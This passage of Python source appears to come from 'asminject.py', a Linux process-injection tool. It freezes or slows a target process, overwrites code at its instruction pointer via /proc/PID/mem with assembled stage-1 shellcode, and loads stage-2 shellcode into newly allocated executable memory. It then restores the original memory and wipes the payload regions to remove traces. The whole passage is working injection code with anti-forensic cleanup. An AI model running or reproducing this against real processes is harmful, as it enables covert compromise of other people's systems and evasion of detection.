# Also save a JSON version of the backed-up region list
|
|
with open(json_path, "w") as json_file:
|
|
json_file.write(backed_up_region_data.to_json())
|
|
|
|
return backed_up_region_data
|
|
|
|
|
|
def restore_memory_region(injection_params, region_entry):
|
|
region_description_string = region_entry.get_description_string()
|
|
if injection_params.enable_debugging_output:
|
|
log(f"Attempting to restore memory region {region_description_string}", ansi=injection_params.ansi)
|
|
with open(region_entry.backup_path, "rb") as backup_file:
|
|
#with open(f"/proc/{injection_params.pid}/mem", "wb+") as mem:
|
|
with open(f"/proc/{injection_params.pid}/mem", "rb+") as mem:
|
|
total_size = region_entry.end_address - region_entry.start_address
|
|
read_size = 0
|
|
mem.seek(region_entry.start_address)
|
|
while read_size < total_size:
|
|
current_block_size = injection_params.backup_chunk_size
|
|
remaining_size = total_size - read_size
|
|
if remaining_size < current_block_size:
|
|
current_block_size = remaining_size
|
|
region_backup_chunk = backup_file.read(current_block_size)
|
|
mem.write(region_backup_chunk)
|
|
read_size += current_block_size
|
|
|
|
def restore_memory_regions(injection_params, backed_up_memory_map_data):
|
|
for mr in backed_up_memory_map_data.to_array():
|
|
mem_region = memory_map_entry.from_dictionary(mr)
|
|
region_description_string = mem_region.get_description_string()
|
|
try:
|
|
restore_memory_region(injection_params, mem_region)
|
|
except Exception as e:
|
|
log_error(f"Couldn't restore the memory region {region_description_string}: {e}", ansi=injection_params.ansi)
|
|
|
|
def get_ring_populated_array(array_length, byte_array_to_populate_with):
|
|
result = []
|
|
while len(result) < array_length:
|
|
for b in byte_array_to_populate_with:
|
|
result.append(b)
|
|
if len(result) >= array_length:
|
|
result = result[0:array_length]
|
|
return result
|
|
|
|
def asminject(injection_params):
|
|
log(f"Starting at {injection_params.get_timestamp_string()} (UTC)", ansi=injection_params.ansi)
|
|
map_file_path = injection_params.get_map_file_path()
|
|
if not os.path.isfile(map_file_path):
|
|
log_error(f"Could not find the memory map pseudofile '{map_file_path}' - please verify that you have specified a valid process ID", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
|
|
stage1 = None
|
|
|
|
stage1_source_filename = "stage1-memory.s"
|
|
stage1_path = os.path.join(injection_params.base_script_path, "asm", injection_params.architecture, stage1_source_filename)
|
|
if not os.path.isfile(stage1_path):
|
|
log_error(f"Could not find the stage 1 source code '{stage1_path}'", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
|
|
stage2_template_source_filename = "stage2-template.s"
|
|
stage2_template_source_path = os.path.join(injection_params.base_script_path, "asm", injection_params.architecture, stage2_template_source_filename)
|
|
if not os.path.isfile(stage2_template_source_path):
|
|
log_error(f"Could not find the stage 2 template source code '{stage2_template_source_path}'", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
|
|
if not os.path.isfile(injection_params.asm_path):
|
|
log_error(f"Could not find the stage 2 shellcode file '{injection_params.asm_path}'", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
|
|
if injection_params.precompiled_shellcode:
|
|
if not os.path.isfile(injection_params.precompiled_shellcode):
|
|
log_error(f"Could not find the precompiled binary shellcode file '{injection_params.precompiled_shellcode}'", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
|
|
memory_map_data = asminject_memory_map_data()
|
|
memory_map_data.load_memory_map_data(injection_params)
|
|
library_names = []
|
|
for lname in memory_map_data.get_unique_path_names():
|
|
library_names.append(lname)
|
|
library_names.sort()
|
|
for lname in library_names:
|
|
log(f"{lname}: {hex(memory_map_data.get_first_region_for_named_file(lname).get_base_address())}", ansi=injection_params.ansi)
|
|
|
|
# Do basic setup first to perform a validation on the stage 2 code
|
|
# (Avoids injecting stage 1 only to have stage 2 fail)
|
|
injection_params.stack_region = memory_map_data.get_first_region_for_named_file("[stack]")
|
|
injection_params.set_initial_communication_address()
|
|
|
|
stage2_replacements = injection_params.get_replacement_variable_map(placeholder_value_address = injection_params.get_base_communication_address())
|
|
|
|
stage2_source_code = ""
|
|
shellcode_source_code = ""
|
|
try:
|
|
with open(stage2_template_source_path, "r") as asm_source_code_file:
|
|
stage2_source_code = asm_source_code_file.read()
|
|
except Exception as e:
|
|
log_error(f"Couldn't read the stage 2 template source code file '{stage2_template_source_path}': {e}", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
|
|
#if injection_params.clear_payload_memory_after_execution:
|
|
# stage2_source_code = stage2_source_code.replace("[CLEAR_RW_MEMORY]", get_code_fragment(injection_params, "stage2-overwrite_read-write.s"))
|
|
#else:
|
|
# stage2_source_code = stage2_source_code.replace("[CLEAR_RW_MEMORY]", "")
|
|
|
|
if injection_params.deallocate_memory:
|
|
stage2_source_code = stage2_source_code.replace("[DEALLOCATE_MEMORY]", get_code_fragment(injection_params, "stage2-deallocate.s"))
|
|
else:
|
|
log_warning(f"Memory allocated by the staging code will not be deallocated after the payload executes", ansi=injection_params.ansi)
|
|
stage2_source_code = stage2_source_code.replace("[DEALLOCATE_MEMORY]", "")
|
|
|
|
try:
|
|
with open(injection_params.asm_path, "r") as shellcode_source_code_file:
|
|
shellcode_source_code = shellcode_source_code_file.read()
|
|
except Exception as e:
|
|
log_error(f"Couldn't read the stage 2 template source code file '{injection_params.asm_path}': {e}", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
|
|
shellcode_source_code_split = shellcode_source_code.split(injection_params.shellcode_section_delimiter)
|
|
|
|
stage2_source_code = stage2_source_code.replace('[VARIABLE:SHELLCODE_SOURCE:VARIABLE]', shellcode_source_code_split[0])
|
|
|
|
shellcode_data_section = ""
|
|
if len(shellcode_source_code_split) > 1:
|
|
shellcode_data_section = shellcode_source_code_split[1]
|
|
|
|
if injection_params.precompiled_shellcode:
|
|
try:
|
|
with open(injection_params.precompiled_shellcode, "rb") as precompiled_shellcode_file:
|
|
precompiled_payload = precompiled_shellcode_file.read()
|
|
precompiled_shellcode_as_hex = ""
|
|
for byte_num in range(0, len(precompiled_payload)):
|
|
if byte_num == 0:
|
|
precompiled_shellcode_as_hex = f"{hex(precompiled_payload[byte_num])}"
|
|
else:
|
|
precompiled_shellcode_as_hex = f"{precompiled_shellcode_as_hex}, {hex(precompiled_payload[byte_num])}"
|
|
|
|
shellcode_as_inline_bytes = f"{injection_params.precompiled_shellcode_label}:\n\t.byte {precompiled_shellcode_as_hex}\n\t.balign 16\n\n"
|
|
if shellcode_data_section == "":
|
|
stage2_source_code = stage2_source_code.replace(injection_params.inline_shellcode_placeholder, shellcode_as_inline_bytes)
|
|
else:
|
|
shellcode_data_section = shellcode_data_section.replace(injection_params.inline_shellcode_placeholder, shellcode_as_inline_bytes)
|
|
|
|
except Exception as e:
|
|
log_error(f"Couldn't read and embed the precompiled shellcode file '{injection_params.precompiled_shellcode}': {e}", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
|
|
stage2_source_code = stage2_source_code.replace('[VARIABLE:SHELLCODE_DATA:VARIABLE]', shellcode_data_section)
|
|
|
|
log("Validating ability to assemble stage 2 code", ansi=injection_params.ansi)
|
|
if injection_params.existing_stage_2_source:
|
|
try:
|
|
with open(injection_params.existing_stage_2_source, "r") as existing_code_file:
|
|
stage2_source_code = existing_code_file.read()
|
|
except Exception as e:
|
|
log_error(f"Couldn't read the existing stage 2 source code file '{injection_params.existing_stage_2_source}': {e}", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
stage2 = assemble(stage2_source_code, injection_params, memory_map_data, "-stage_2-check_build", replacements=stage2_replacements)
|
|
|
|
# make sure that the read/execute block will be big enough to hold the payload
|
|
if not stage2:
|
|
log_error(f"Failed to assemble the selected payload. Rerun with --debug for additional information.", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
|
|
stage2_real_size = len(stage2)
|
|
|
|
if injection_params.read_execute_region_size < stage2_real_size:
|
|
existing_rx_block_size = injection_params.read_execute_region_size
|
|
injection_params.read_execute_region_size = stage2_real_size
|
|
if (injection_params.read_execute_region_size % injection_params.allocation_unit_size) > 0:
|
|
while (injection_params.read_execute_region_size % injection_params.allocation_unit_size) > 0:
|
|
injection_params.read_execute_region_size += 1
|
|
if injection_params.existing_read_execute_address:
|
|
log_error(f"The selected payload is too large to fit into the existing read/execute block. It would require a block size of {hex(injection_params.read_execute_region_size)} bytes, but the existing block is only {hex(existing_rx_block_size)} bytes", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
else:
|
|
log_warning(f"Increased read/execute block size to {hex(injection_params.read_execute_region_size)} due to the size of the payload", ansi=injection_params.ansi)
|
|
|
|
if not stage2:
|
|
log_error(f"Validation assembly of stage 2 failed. Please verify that all required parameters and offset lists have been provided. Rerun with --debug for additional information.'", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
log("Validation assembly of stage 2 succeeded", ansi=injection_params.ansi)
|
|
|
|
if injection_params.stop_method == "sigstop":
|
|
log("Sending SIGSTOP", ansi=injection_params.ansi)
|
|
os.kill(injection_params.pid, signal.SIGSTOP)
|
|
while True:
|
|
with open(f"/proc/{injection_params.pid}/stat") as stat_file:
|
|
state = stat_file.read().split(" ")[2]
|
|
if state in ["T", "t"]:
|
|
break
|
|
log("Waiting for process to stop", ansi=injection_params.ansi)
|
|
time.sleep(0.1)
|
|
elif injection_params.stop_method == "cgroup_freeze":
|
|
log(f"Freezing process {injection_params.pid} using directory {injection_params.freeze_dir}", ansi=injection_params.ansi)
|
|
os.mkdir(injection_params.freeze_dir)
|
|
with open(injection_params.freeze_dir + "/tasks", "w") as task_file:
|
|
task_file.write(str(injection_params.pid))
|
|
with open(injection_params.freeze_dir + "/freezer.state", "w") as state_file:
|
|
state_file.write("FROZEN\n")
|
|
while True:
|
|
with open(injection_params.freeze_dir + "/freezer.state") as state_file:
|
|
if state_file.read().strip() == "FROZEN":
|
|
break
|
|
log("Waiting for process to freeze", ansi=injection_params.ansi)
|
|
time.sleep(0.1)
|
|
log("Process is frozen", ansi=injection_params.ansi)
|
|
elif injection_params.stop_method == "slow":
|
|
log("Dilating time relative to the target process...", ansi=injection_params.ansi)
|
|
try:
|
|
injection_params.set_dynamic_process_info_vars()
|
|
|
|
output_process_priority_and_affinity(injection_params, "Initial")
|
|
except Exception as e:
|
|
log_error(f"Couldn't get process information for slowing: {e}", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
try:
|
|
set_process_priority_and_affinity(injection_params, injection_params.high_priority_nice, injection_params.low_priority_nice, injection_params.shared_affinity, injection_params.shared_affinity)
|
|
injection_params.set_dynamic_process_info_vars()
|
|
output_process_priority_and_affinity(injection_params, "Pre-injection")
|
|
|
|
except Exception as e:
|
|
log_error(f"Couldn't set process information for 'slow' mode: {e}. Please verify that you are running as an account that has access to ptrace the target application, and that /proc/sys/kernel/yama/ptrace_scope is set to 0 or 1.", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
else:
|
|
log.warn("We're not going to stop the process first!", ansi=injection_params.ansi)
|
|
|
|
stack_backup_address = 0
|
|
code_backup_address = 0
|
|
|
|
stack_backup = b''
|
|
code_backup = b''
|
|
communication_address_backup = b''
|
|
current_state = None
|
|
memory_region_backup = None
|
|
|
|
continue_executing = True
|
|
try:
|
|
got_initial_syscall_data = False
|
|
syscall_check_result = None
|
|
while not got_initial_syscall_data:
|
|
syscall_check_result = get_syscall_values(injection_params, injection_params.pid)
|
|
injection_params.saved_instruction_pointer_value = syscall_check_result[injection_params.instruction_pointer_register_name]
|
|
injection_params.saved_stack_pointer_value = syscall_check_result[injection_params.stack_pointer_register_name]
|
|
if injection_params.saved_instruction_pointer_value == 0 or injection_params.saved_stack_pointer_value == 0:
|
|
log_error("Couldn't get current syscall data", ansi=injection_params.ansi)
|
|
time.sleep(injection_params.sleep_time_waiting_for_syscalls)
|
|
else:
|
|
got_initial_syscall_data = True
|
|
log(f"{injection_params.instruction_pointer_register_name}: {hex(injection_params.saved_instruction_pointer_value)}", ansi=injection_params.ansi)
|
|
log(f"{injection_params.stack_pointer_register_name}: {hex(injection_params.saved_stack_pointer_value)}", ansi=injection_params.ansi)
|
|
|
|
if continue_executing:
|
|
log(f"Using: {hex(injection_params.state_variables.state_map['ready_for_stage_two_write'])} for 'ready for stage two write' state value", ansi=injection_params.ansi)
|
|
log(f"Using: {hex(injection_params.state_variables.state_map['stage_two_written'])} for 'stage two written' state value", ansi=injection_params.ansi)
|
|
|
|
stage_1_code = ""
|
|
with open(stage1_path, "r") as stage1_code:
|
|
stage_1_code = stage1_code.read()
|
|
|
|
if injection_params.existing_read_execute_address:
|
|
injection_params.read_execute_region_address = injection_params.existing_read_execute_address
|
|
log_warning(f"Attempting to reuse existing read/execute block at {hex(injection_params.read_execute_region_address)}")
|
|
stage_1_code = stage_1_code.replace("[READ_EXECUTE_ALLOCATE_OR_REUSE]", get_code_fragment(injection_params, "stage1-use_existing_read-execute.s"))
|
|
else:
|
|
stage_1_code = stage_1_code.replace("[READ_EXECUTE_ALLOCATE_OR_REUSE]", get_code_fragment(injection_params, "stage1-allocate_read-execute.s"))
|
|
if injection_params.existing_read_write_address:
|
|
injection_params.read_write_region_address = injection_params.existing_read_write_address
|
|
log_warning(f"Attempting to reuse existing read/write block at {hex(injection_params.read_write_region_address)}")
|
|
stage_1_code = stage_1_code.replace("[READ_WRITE_ALLOCATE_OR_REUSE]", get_code_fragment(injection_params, "stage1-use_existing_read-write.s"))
|
|
else:
|
|
stage_1_code = stage_1_code.replace("[READ_WRITE_ALLOCATE_OR_REUSE]", get_code_fragment(injection_params, "stage1-allocate_read-write.s"))
|
|
|
|
stage1_replacements = injection_params.get_replacement_variable_map()
|
|
|
|
if injection_params.existing_stage_1_source:
|
|
try:
|
|
with open(injection_params.existing_stage_1_source, "r") as existing_code_file:
|
|
stage1_code = existing_code_file.read()
|
|
except Exception as e:
|
|
log_error(f"Couldn't read the existing stage 1 source code file '{injection_params.existing_stage_1_source}': {e}", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
|
|
stage1 = assemble(stage_1_code, injection_params, memory_map_data, "-stage_1", replacements=stage1_replacements)
|
|
|
|
if not stage1:
|
|
continue_executing = False
|
|
log_error("Assembly of stage 1 failed - will not attempt to inject into process", ansi=injection_params.ansi)
|
|
else:
|
|
|
|
memory_region_backup = back_up_memory_regions(injection_params, memory_map_data, injection_params.memory_region_backup_subdirectory_name)
|
|
if injection_params.enable_debugging_output:
|
|
log(f"Created the pre-injection memory region backup in '{memory_region_backup.backup_directory}'", ansi=injection_params.ansi)
|
|
try:
|
|
mem_file_path = f"/proc/{injection_params.pid}/mem"
|
|
#with open(mem_file_path, "wb+") as mem:
|
|
with open(mem_file_path, "rb+") as mem:
|
|
# back up the code we're about to overwrite
|
|
code_backup_address = injection_params.saved_instruction_pointer_value
|
|
code_backup = None
|
|
try:
|
|
mem.seek(code_backup_address)
|
|
code_backup = mem.read(len(stage1))
|
|
except Exception as e:
|
|
log_error(f"Couldn't backup existing code from '{mem_file_path}', address {hex(code_backup_address)}, length {hex(len(stage1))}: {e}", ansi=injection_params.ansi)
|
|
continue_executing = False
|
|
|
|
# back up the data at the communication address
|
|
try:
|
|
mem.seek(injection_params.initial_communication_address)
|
|
communication_address_backup = mem.read(injection_params.communication_address_backup_size)
|
|
output_memory_block_data(injection_params, f"Communication address backup ({hex(injection_params.initial_communication_address)})", communication_address_backup)
|
|
except Exception as e:
|
|
log_error(f"Couldn't backup data at communications address from '{mem_file_path}', address {hex(injection_params.initial_communication_address)}, length {hex(injection_params.communication_address_backup_size)}: {e}", ansi=injection_params.ansi)
|
|
continue_executing = False
|
|
|
|
# Set the "memory restored" state variable to match the first 4 bytes of the backed up communications address data
|
|
#injection_params.state_variables.state_map["memory_restored"] = struct.unpack('I', communication_address_backup[0:4])[0]
|
|
#log(f"Will specify {hex(injection_params.state_variables.state_map["stage_two_written"])} @ {hex(injection_params.initial_communication_address)} as the 'memory restored' value", ansi=injection_params.ansi)
|
|
log(f"Using: {hex(injection_params.state_variables.state_map['ready_for_memory_restore'])} for 'ready for memory restore' state value", ansi=injection_params.ansi)
|
|
|
|
# write the primary shellcode
|
|
try:
|
|
mem.seek(injection_params.saved_instruction_pointer_value)
|
|
mem.write(stage1)
|
|
except Exception as e:
|
|
log_error(f"Couldn't write the stage 1 payload to '{mem_file_path}', address {hex(injection_params.saved_instruction_pointer_value)}: {e}", ansi=injection_params.ansi)
|
|
continue_executing = False
|
|
except Exception as e:
|
|
log_error(f"Couldn't read '{mem_file_path}': {e}", ansi=injection_params.ansi)
|
|
continue_executing = False
|
|
|
|
if continue_executing:
|
|
log(f"Wrote first stage shellcode at {hex(injection_params.saved_instruction_pointer_value)} in target process {injection_params.pid}", ansi=injection_params.ansi)
|
|
|
|
if injection_params.pause_before_resume:
|
|
input("Press Enter to resume the target process")
|
|
|
|
if injection_params.stop_method == "sigstop":
|
|
log("Continuing process", ansi=injection_params.ansi)
|
|
os.kill(injection_params.pid, signal.SIGCONT)
|
|
elif injection_params.stop_method == "cgroup_freeze":
|
|
log("Thawing process", ansi=injection_params.ansi)
|
|
with open(injection_params.freeze_dir + "/freezer.state", "w") as state_file:
|
|
state_file.write("THAWED\n")
|
|
|
|
# put the task back in the root cgroup
|
|
with open("/sys/fs/cgroup/freezer/tasks", "w") as task_file:
|
|
task_file.write(str(injection_params.pid))
|
|
|
|
# cleanup
|
|
os.rmdir(injection_params.freeze_dir)
|
|
elif injection_params.stop_method == "slow":
|
|
log("Un-dilating time relative to the target process", ansi=injection_params.ansi)
|
|
try:
|
|
injection_params.set_dynamic_process_info_vars()
|
|
output_process_priority_and_affinity(injection_params, "Post-injection")
|
|
set_process_priority_and_affinity(injection_params, injection_params.asminject_priority_original, injection_params.target_priority_original, injection_params.target_affinity_original, injection_params.asminject_affinity_original)
|
|
injection_params.set_dynamic_process_info_vars()
|
|
output_process_priority_and_affinity(injection_params, "Restored")
|
|
except Exception as e:
|
|
log_error(f"Couldn't set process information to revert from 'slow' mode: {e}", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
|
|
if continue_executing:
|
|
stage2 = None
|
|
if not injection_params.existing_read_write_address:
|
|
log(f"Waiting for stage 1 to indicate that it is ready to switch to a new communication address", ansi=injection_params.ansi)
|
|
current_state = wait_for_payload_communication_state(injection_params, injection_params.pid, injection_params.get_base_communication_address(), injection_params.state_variables.state_map["switch_to_new_communication_address"])
|
|
if injection_params.existing_read_execute_address:
|
|
log_success(f"Existing read/execute base address: {hex(injection_params.read_execute_region_address)}", ansi=injection_params.ansi)
|
|
else:
|
|
injection_params.read_execute_region_address = current_state.read_execute_address
|
|
log_success(f"New read/execute base address: {hex(injection_params.read_execute_region_address)}", ansi=injection_params.ansi)
|
|
if injection_params.existing_read_write_address:
|
|
log_success(f"Existing read/write base address: {hex(injection_params.read_write_region_address)}", ansi=injection_params.ansi)
|
|
else:
|
|
injection_params.read_write_region_address = current_state.read_write_address
|
|
log_success(f"New read/write base address: {hex(injection_params.read_write_region_address)}", ansi=injection_params.ansi)
|
|
|
|
log_success(f"New communication address: {hex(injection_params.get_base_communication_address())}", ansi=injection_params.ansi)
|
|
|
|
log(f"Waiting for stage 1 to indicate that it has allocated additional memory and is ready for the script to write stage 2", ansi=injection_params.ansi)
|
|
current_state = wait_for_payload_communication_state(injection_params, injection_params.pid, injection_params.get_base_communication_address(), injection_params.state_variables.state_map["ready_for_stage_two_write"])
|
|
|
|
# restore the data at the original communication address now that communication has migrated\
|
|
log(f"Restoring data at original communications address {hex(injection_params.initial_communication_address)}", ansi=injection_params.ansi)
|
|
#with open(f"/proc/{injection_params.pid}/mem", "wb+") as mem:
|
|
with open(f"/proc/{injection_params.pid}/mem", "rb+") as mem:
|
|
mem.seek(injection_params.initial_communication_address)
|
|
mem.write(communication_address_backup)
|
|
|
|
mem.seek(injection_params.initial_communication_address)
|
|
current_communication_address_backup = mem.read(injection_params.communication_address_backup_size)
|
|
output_memory_block_data(injection_params, f"Communication address location after memory restore ({hex(injection_params.initial_communication_address)})", current_communication_address_backup)
|
|
|
|
injection_params.code_backup_length = len(code_backup)
|
|
|
|
stage2_replacements = injection_params.get_replacement_variable_map()
|
|
|
|
if injection_params.existing_stage_2_source:
|
|
try:
|
|
with open(injection_params.existing_stage_2_source, "r") as existing_code_file:
|
|
stage2_source_code = existing_code_file.read()
|
|
except Exception as e:
|
|
log_error(f"Couldn't read the existing stage 2 source code file '{injection_params.existing_stage_2_source}': {e}", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
|
|
stage2 = assemble(stage2_source_code, injection_params, memory_map_data, "-stage_2", replacements=stage2_replacements)
|
|
|
|
if not stage2:
|
|
continue_executing = False
|
|
else:
|
|
log(f"Writing stage 2 to {hex(injection_params.read_execute_region_address)} in target memory", ansi=injection_params.ansi)
|
|
# write stage 2
|
|
#with open(f"/proc/{injection_params.pid}/mem", "wb+") as mem:
|
|
with open(f"/proc/{injection_params.pid}/mem", "rb+") as mem:
|
|
mem.seek(injection_params.read_execute_region_address)
|
|
mem.write(stage2)
|
|
|
|
if injection_params.pause_before_launching_stage2:
|
|
input("Press Enter to proceed with launching stage 2")
|
|
|
|
# with open(f"/proc/{injection_params.pid}/mem", "wb+") as mem:
|
|
# # Give stage 1 the OK to proceed
|
|
# log(f"Writing {hex(injection_params.state_variables.state_map["stage_two_written"])} to {hex(injection_params.get_base_communication_address())} in target memory to indicate stage 2 has been written to memory", ansi=injection_params.ansi)
|
|
# mem.seek(injection_params.get_base_communication_address())
|
|
# ok_val = struct.pack('I', injection_params.state_variables.state_map["stage_two_written"])
|
|
# mem.write(ok_val)
|
|
# log_success("Stage 2 proceeding", ansi=injection_params.ansi)
|
|
set_script_communication_state(injection_params, injection_params.pid, injection_params.get_base_communication_address(), injection_params.state_variables.state_map["stage_two_written"])
|
|
log_success("Payload has been instructed to launch stage 2", ansi=injection_params.ansi)
|
|
|
|
if injection_params.restore_delay > 0.0:
|
|
log(f"Waiting {injection_params.restore_delay} second(s) before starting memory restore check", ansi=injection_params.ansi)
|
|
time.sleep(injection_params.restore_delay)
|
|
log(f"Waiting for stage 2 to indicate that it is ready for process memory to be restored", ansi=injection_params.ansi)
|
|
current_state = wait_for_payload_communication_state(injection_params, injection_params.pid, injection_params.get_base_communication_address(), injection_params.state_variables.state_map["ready_for_memory_restore"])
|
|
if injection_params.pause_before_memory_restore:
|
|
input("Press Enter to proceed with memory restoration")
|
|
log("Restoring original memory content", ansi=injection_params.ansi)
|
|
|
|
#with open(f"/proc/{injection_params.pid}/mem", "wb+") as mem:
|
|
with open(f"/proc/{injection_params.pid}/mem", "rb+") as mem:
|
|
mem.seek(code_backup_address)
|
|
mem.write(code_backup)
|
|
|
|
# stack restore
|
|
#mem.seek(stack_backup_address)
|
|
#current_stack_backup = mem.read(injection_params.stack_backup_size)
|
|
#output_memory_block_data(injection_params, f"Stack backup location after shellcode execution ({hex(stack_backup_address)})", current_stack_backup)
|
|
|
|
#mem.seek(stack_backup_address)
|
|
#mem.write(stack_backup)
|
|
|
|
#mem.seek(stack_backup_address)
|
|
#current_stack_backup = mem.read(injection_params.stack_backup_size)
|
|
#output_memory_block_data(injection_params, f"Stack backup location after memory restore ({hex(stack_backup_address)})", current_stack_backup)
|
|
|
|
# communication address restore
|
|
|
|
mem.seek(injection_params.initial_communication_address)
|
|
current_communication_address_backup = mem.read(injection_params.communication_address_backup_size)
|
|
output_memory_block_data(injection_params, f"Communication address location after shellcode execution ({hex(injection_params.initial_communication_address)})", current_communication_address_backup)
|
|
|
|
if injection_params.pause_after_memory_restore:
|
|
input("Press Enter to allow the inner payload to execute")
|
|
|
|
# with open(f"/proc/{injection_params.pid}/mem", "wb+") as mem:
|
|
# mem.seek(injection_params.get_base_communication_address())
|
|
# ok_val = struct.pack('I', injection_params.state_variables.state_map["memory_restored"])
|
|
# mem.write(ok_val)
|
|
set_script_communication_state(injection_params, injection_params.pid, injection_params.get_base_communication_address(), injection_params.state_variables.state_map["memory_restored"])
|
|
|
|
if injection_params.enable_debugging_output:
|
|
memory_region_backup_comparison = back_up_memory_regions(injection_params, memory_map_data, injection_params.memory_region_backup_subdirectory_name + "-post_injection_comparison")
|
|
log(f"Created a post-injection memory region backup in '{memory_region_backup_comparison.backup_directory}' for debugging purposes", ansi=injection_params.ansi)
|
|
|
|
restore_memory_regions(injection_params, memory_region_backup)
|
|
|
|
if injection_params.enable_debugging_output:
|
|
memory_region_backup_comparison = back_up_memory_regions(injection_params, memory_map_data, injection_params.memory_region_backup_subdirectory_name + "-post_restore_comparison")
|
|
log(f"Created a post-restore memory region backup in '{memory_region_backup_comparison.backup_directory}' for debugging purposes", ansi=injection_params.ansi)
|
|
|
|
log(f"Waiting for payload to indicate that it is ready for cleanup", ansi=injection_params.ansi)
|
|
current_state = wait_for_payload_communication_state(injection_params, injection_params.pid, injection_params.get_base_communication_address(), injection_params.state_variables.state_map["payload_ready_for_script_cleanup"])
|
|
|
|
overwrite_ring_buffer = bytearray(struct.pack(injection_params.register_size_format_string, injection_params.clear_payload_memory_value))
|
|
if injection_params.clear_payload_memory_after_execution:
|
|
if injection_params.clear_payload_memory_delay > 0.0:
|
|
log(f"Waiting {injection_params.clear_payload_memory_delay} second(s) before clearing payload read/write memory", ansi=injection_params.ansi)
|
|
time.sleep(injection_params.clear_payload_memory_delay)
|
|
target_address = injection_params.read_write_region_address + injection_params.rwr_cpu_state_backup_offset
|
|
overwrite_length = injection_params.read_write_region_size - injection_params.rwr_cpu_state_backup_offset
|
|
#target_address = injection_params.read_write_region_address
|
|
#overwrite_length = injection_params.read_write_region_size
|
|
overwrite_bytes = bytearray(get_ring_populated_array(overwrite_length, overwrite_ring_buffer))
|
|
log(f"Overwriting payload read/write block starting at CPU state backup address ({hex(target_address)}) in target process memory with {hex(len(overwrite_bytes))} bytes", ansi=injection_params.ansi)
|
|
try:
|
|
with open(f"/proc/{injection_params.pid}/mem", "rb+") as mem:
|
|
mem.seek(target_address)
|
|
mem.write(overwrite_bytes)
|
|
except Exception as e:
|
|
log_error(f"Couldn't overwrite read/write memory: {e}", ansi=injection_params.ansi)
|
|
|
|
log(f"Notifying payload that cleanup is complete", ansi=injection_params.ansi)
|
|
set_script_communication_state(injection_params, injection_params.pid, injection_params.get_base_communication_address(), injection_params.state_variables.state_map["script_cleanup_complete"])
|
|
|
|
# can only clear r/x memory after the payload has exited
|
|
if injection_params.clear_payload_memory_after_execution:
|
|
if injection_params.clear_payload_memory_delay > 0.0:
|
|
log(f"Waiting {injection_params.clear_payload_memory_delay} second(s) before clearing payload read/execute memory", ansi=injection_params.ansi)
|
|
time.sleep(injection_params.clear_payload_memory_delay)
|
|
overwrite_bytes = bytearray(get_ring_populated_array(injection_params.read_execute_region_size, overwrite_ring_buffer))
|
|
log(f"Overwriting payload read/execute block ({hex(injection_params.read_execute_region_address)}) in target process memory with {hex(len(overwrite_bytes))} bytes", ansi=injection_params.ansi)
|
|
try:
|
|
with open(f"/proc/{injection_params.pid}/mem", "rb+") as mem:
|
|
mem.seek(injection_params.read_execute_region_address)
|
|
mem.write(overwrite_bytes)
|
|
except Exception as e:
|
|
log_error(f"Couldn't overwrite read/execute memory: {e}", ansi=injection_params.ansi)
|
|
|
|
except KeyboardInterrupt as ki:
|
|
log_warning(f"Operator cancelled the injection attempt", ansi=injection_params.ansi)
|
|
continue_executing = False
|
|
|
|
log(f"Finished at {injection_params.get_timestamp_string()} (UTC)", ansi=injection_params.ansi)
|
|
if injection_params.delete_temp_files:
|
|
log(f"Deleting the temporary directory '{injection_params.temp_file_base_directory}' and all of its contents", ansi=injection_params.ansi)
|
|
asminject_parameters.delete_directory_tree(injection_params.temp_file_base_directory, injection_params)
|
|
else:
|
|
log(f"The temporary directory '{injection_params.temp_file_base_directory}' has been preserved", ansi=injection_params.ansi)
|
|
|
|
if not injection_params.deallocate_memory and current_state:
|
|
log_success(f"To reuse the existing read/write and read execute memory allocated during this injection attempt, include the following options in your next asminject.py command: --use-read-execute-address {hex(injection_params.read_execute_region_address)} --use-read-execute-size {hex(injection_params.read_execute_region_size)} --use-read-write-address {hex(injection_params.read_write_region_address)} --use-read-write-size {hex(injection_params.read_write_region_size)}", ansi=injection_params.ansi)
|
|
|
|
def validate_overwrite_data(injection_params):
|
|
result_temp = struct.pack(injection_params.register_size_format_string, injection_params.clear_payload_memory_value)
|
|
if len(result_temp) > injection_params.register_size:
|
|
log_error("The payload memory overwrite value {hex(injection_params.clear_payload_memory_value)} is too large for the target architecture's CPU width of {injection_params.register_size} bytes", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
|
|
def autodetect_architecture_string(injection_params):
|
|
platform_arch_string = platform.machine().lower()
|
|
autodetected_arch_string = None
|
|
if platform_arch_string in ["amd64", "x86_64"]:
|
|
autodetected_arch_string = "x86-64"
|
|
|
|
if platform_arch_string in ["i386", "i486", "i586", "i686"]:
|
|
autodetected_arch_string = "x86"
|
|
|
|
if platform_arch_string in ["armv7l", "armv7"]:
|
|
autodetected_arch_string = "arm32"
|
|
|
|
if not autodetected_arch_string:
|
|
log_error(f"Did not recognize the processor architecture string '{platform_arch_string}'", ansi=injection_params.ansi)
|
|
|
|
return autodetected_arch_string
|
|
|
|
def parse_command_line_numeric_value(v):
|
|
result = None
|
|
if len(v) > 2 and v[0:2].lower() == "0x":
|
|
try:
|
|
result = int(v[2:], 16)
|
|
except Exception as e:
|
|
log_error(f"Couldn't parse '{v}' as a hexadecimal integer: {e}", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
else:
|
|
try:
|
|
result = int(v)
|
|
except Exception as e:
|
|
log_error(f"Couldn't parse '{v}' as a decimal integer: {e}", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
return result
|
|
|
|
# begin: https://stackoverflow.com/questions/15008758/parsing-boolean-values-with-argparse
|
|
def str2bool(v):
|
|
if isinstance(v, bool):
